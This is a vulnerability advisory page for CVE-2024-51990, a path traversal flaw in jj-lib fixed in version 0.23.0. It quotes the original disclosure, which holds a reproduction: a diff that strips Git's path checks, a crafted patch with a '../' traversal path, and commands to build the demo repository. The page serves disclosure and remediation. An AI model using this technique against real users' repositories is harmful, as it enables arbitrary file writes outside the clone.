CVE-2024-51990 — jj-lib
CVE-2024-51990 is a Path Traversal vulnerability in jj-lib. A fix is available for jj-lib — see the affected versions and patch details below.
Path traversal via crafted Git repositories in jj
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-51990.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
jj-libReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Impact
Specially crafted Git repositories can cause jj to write files outside the clone.
Patches
Fixed in 0.23.0.
Workarounds
Not much other than to not clone repositories from untrusted sources.
References
Here's the original report from @joernchen:
When cloning a crafted Git repository it is possible to let
jjwrite into arbitrary directories. This can be achieved by having file objects which contain path traversals.Reproduction steps:
Apply the following patch to Git version v.2.47.0:
diff --git a/path.c b/path.c index 93491bab14..2f47e69fd1 100644 --- a/path.c +++ b/path.c @@ -44,11 +44,11 @@ struct strbuf *get_pathname(void) static const char *cleanup_path(const char *path) { - /* Clean it up */ + /* Clean it up if (skip_prefix(path, "./", &path)) { while (*path == '/') path++; - } + }*/ return path; } @@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char *dst, const char *src, int *prefix_len) int normalize_path_copy(char *dst, const char *src) { - return normalize_path_copy_len(dst, src, NULL); +// return normalize_path_copy_len(dst, src, NULL); + memcpy(dst, src, strlen(dst)); + return 0; } int strbuf_normalize_path(struct strbuf *src) diff --git a/read-cache.c b/read-cache.c index 3c078afadb..2eb44cb26f 100644 --- a/read-cache.c +++ b/read-cache.c @@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char *path, unsigned mode) { char c = 0; + return PATH_OK; if (has_dos_drive_prefix(path)) return PATH_INVALID;With this patched
gitbinary we can now apply a crafted patch containing a path traversal to a repository.The patch would look like:
From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001 From: joernchen <[[email protected]](mailto:[email protected])> Date: Sun, 13 Oct 2024 18:09:50 +0200 Subject: [PATCH] z123 --- z | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 z diff --git a/../joernchen_was_here b/../joernchen_was_here new file mode 100644 index 0000000..e69de29 -- 2.46.1Note the traversal
../joernchen_was_herein the patch. This now can be committed to a repository using the modifiedgitbinary:mkdir demo cd demo git init ./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch rm ../joernchen_was_here # remove the file the modified git wroteNow, when cloning that repository with
jj git clonethe path traversal will write above the worktree directory, allowing arbitrary file writes.I've attached a tar.gz with the demo repo so you don't have to mess with the patched Git at all. For reproduction it should be sufficient to do
jj git clone demo.gitafter unpacking the tarball.The demo repository after being cloned with
jjwill create an empty filejoernchen_was_hereright next to thedemodirectory to demonstrate the traversal.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | jj-lib | all versions | 0.23.0cargo update -p jj-lib --precise 0.23.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for jj-lib, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update jj-lib to 0.23.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-51990 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2024-51990 in your dependencies?
Find it across crates.io, including transitive dependencies.